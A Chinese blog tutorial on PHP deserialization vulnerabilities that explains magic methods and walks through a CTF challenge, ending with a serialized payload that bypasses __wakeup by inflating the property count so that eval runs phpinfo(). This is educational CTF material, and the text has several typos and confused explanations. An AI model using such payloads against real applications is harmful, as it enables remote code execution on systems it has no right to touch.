反序列化漏洞

地球胖头鱼 2020-10-16
Web安全 发布于 2020-10-16 10:48:25 阅读 47 评论 0

反序列化漏洞简述

前言

这里给大家讲一下反序列化漏洞,反序列化漏洞我刚开始一直也弄不明白,直到现在我还有很多不是很懂,今天借着这篇文章和大家一起研究研究加深一下。

简介

序列化在内部没有漏洞,漏洞产生是应该程序在处理对象、魔术函数以及序列化相关的问题导致的 当传给unserialize()的参数可控时,那么用户就可以注入payload,进行反序列化的时候就可能触发对象中的一些魔术方法。

  • 什么是序列化(serialize)? 对象的状态信息转换为可以存储或传输的形式的过程 在序列化期间,对象将当前的状态写入到临时或持久性的存储区 【将状态信息保存为字符串】。

  • 什么是反序列化(unserialize)? 将字符串转换为状态信息 序列化 <—>反序列化。

PHP中的几个特殊的魔术方法

  1. __construct():当对象创建(new)时会自动调用,但在unserialize()时是不会 自动调用的(构造函数)

  2. destruct():当对象操作执行完毕后自动执行destruct()函数的代码。

  3. __wakeup:unserialize()时自动调用。

魔术方法还有很多,这里就不一一列举了,简述以下几个

__wakeup() //使用unserialize时触发 
__sleep() //使用serialize时触发 
__destruct() //对象被销毁时触发 
__call() //在对象上下文中调用不可访问的方法时触发 
__callStatic() //在静态上下文中调用不可访问的方法时触发 
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性 
__isset() //在不可访问的属性上调用isset()或empty()触发 
__unset() //在不可访问的属性上使用unset()时触发 
__toString() //把类当作字符串使用时触发 
__invoke() //当脚本尝试将对象调用为函数时触发

理解反序列化漏洞

如果不懂,实在是听不懂什么是反序列化和序列化我们可以狭义的理解一下,序列化就是把字符串转换成对象然后调用,反序列化就是再把对象转回成字符串。或者说序列化是将“可执行代码”转为“字符串”,反序列化是将“字符串”转为“可执行代码”,让我们看一下下面的代码:

<?php
class test{
    var $test = "MSKJ";
    function __destruct(){
        //echo $this->test;
    }
}
$obj = new test();
$ser = serialize($obj);
echo $ser;
?>

这里使用的__destruct演示,后面会用到__wajeup来演示。
上面这段代码就是序列化就是把这段代码转换成一段编码,访问这个php文件就会看到这段编码:

O:4:"test":1:{s:4:"test";s:4:"MSKJ";}

接下来就是解码了:使用Get发送这段编码就会解码:

这样是不是好理解呢,这只是我自己的一种了解方式可能并不是很正确,但是这样是最好理解的一种方法。

CTF中的反序列化漏洞

接下来拿一个CTF的题目来讲解一下,对于反序列化一种模棱两可,之前是一种一万是优先级的问题,这里就不讨论了。
看一下下面这段代码:

<?php
highlight_file(__FILE__);
error_reporting(0);
class convent{
    var $warn = "No hacker.";
    function __destruct(){
        eval($this->warn);
    }
    function __wakeup(){
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
    }
}
$cmd = $_POST[cmd];
unserialize($cmd);
?>

从代码中可以看出这个类用了两个方法。

  1. __destruct: 对象操作执行完毕后自动执行该函数内的代码;

  2. __wakeup: 遇到 unserialize 时触发。

这边的 __wakeup 是事件型的,如果没遇到 unserialize 就永远不会触发了,所以我们得先搞清楚先执行哪个方法,再执行哪个方法。

在看下面这段代码:

<?php
header("Content-type: text/html; charset=utf-8");
class people
{
    public $name = "f1r3K0";
    public $age = '18';
    function __wakeup(){
        echo "这是 __wakeup()";
        echo "<br>";
    }
    function __construct(){
        echo "这是 __consrtuct()";
        echo "<br>";
    }
    function __destruct(){
        echo "这是 __destruct()";
        echo "<br>";
    }
    function __toString(){
        echo "这是 __toString";
        echo "<br>";
    }
}
$class =  new people();
$class_ser = serialize($class);  //序列化 
print_r($class_ser);            
$class_unser = unserialize($class_ser); //反序列化
print_r($class_unser);
?>

通过这段代码,可以看出__wakeup()是优先执行的,优先级高于 __destruct()

那么再看看上面的ctf题目就懂了,因为遇到了unserialize 得先执行 __wakeup里面的内容,才能跑到我们想要的 __destruct()里面,所以得绕过这个 __wakeup

对于get_object_vars这个函数很多人不是很理解,其实就是遍历了一下非静态的,这里写段代码手工测试一下就差不多了;

<?php
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
class object1 {
    var $warn = "No hacker.";
    function __destruct(){
        echo "这是魔术方法__destruct";
        echo "<br> ";
        echo "hello world";
    }
function __wakeup(){
$this->warn = null;
print_r(get_object_vars($this));
echo "<br>";
    }
}
$cmd = $_GET[cmd];
unserialize($cmd);
//$b = new convent();
//$c = serialize($b);
//echo $c;
?>

看下输出结果就能看出,其实就是把warn的值变为空,那么就懂了这个__wakeuo中的这个代码是干什么的了。

function __wakeup(){
    foreach(get_object_vars($this) as $k => $v){
        $this -> $k = null;
    }
}

就是把 arn值进行过滤,把它变成空,所以我们不能让__wakeup行,目标明确开始操作

__wakeup是当反序列化成功时,才会调用,那我们让它失败呢?其实只要让它失败,就不会调用这个魔术方法了。

我们可以修改一下,让源码生成一个exp,其实我们也可自己构造这个exp

O:7:"convent":1:{s:4:"warn";s:10:"No hacker.";}

这里面的值是不能修改的,但是可以修改属性数大于实际个数,就可以绕过__wakeup,很多教程到这里就是一句话带过,我们可以手写衣服代码fuzz一下

O:7:"convent":2:{s:4:"warn";s:10:"No hacker.";}

也就是把1改为其他数字,可以改成10如何把No hacker改为phpinfo();但是要注意修改前面那个s值,应为phpinfo();占了十位数,所以这次不需要修改。

O:7:"convent":2:{s:4:"warn";s:10:"phpinfo();";}

成功构造好payload,然后POST请求传参进去就OK了

总结

本篇文章也就是简单的了解下什么是 php反序列化,本篇文章虽然不长,但是讲了反序列化是什么,怎么形成反序列化漏洞。然后多个魔术方法情况下是看哪个先执行。

比如 __wakeip是个事件型的,遇到unserialize就会优先调用执行,但是__construct的执行顺序还是优先 __wakeup。当然,这只是举个例子,方法还是一样的。

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!
地球胖头鱼
未填写
  • 作者发布文章72
  • 作者收获粉丝1
  • 作者收到点赞0
  • 所有文章被收藏了0
  • 博客总访问量排行第6
  • 博客总访问量4376(每日更新)
查看所有博文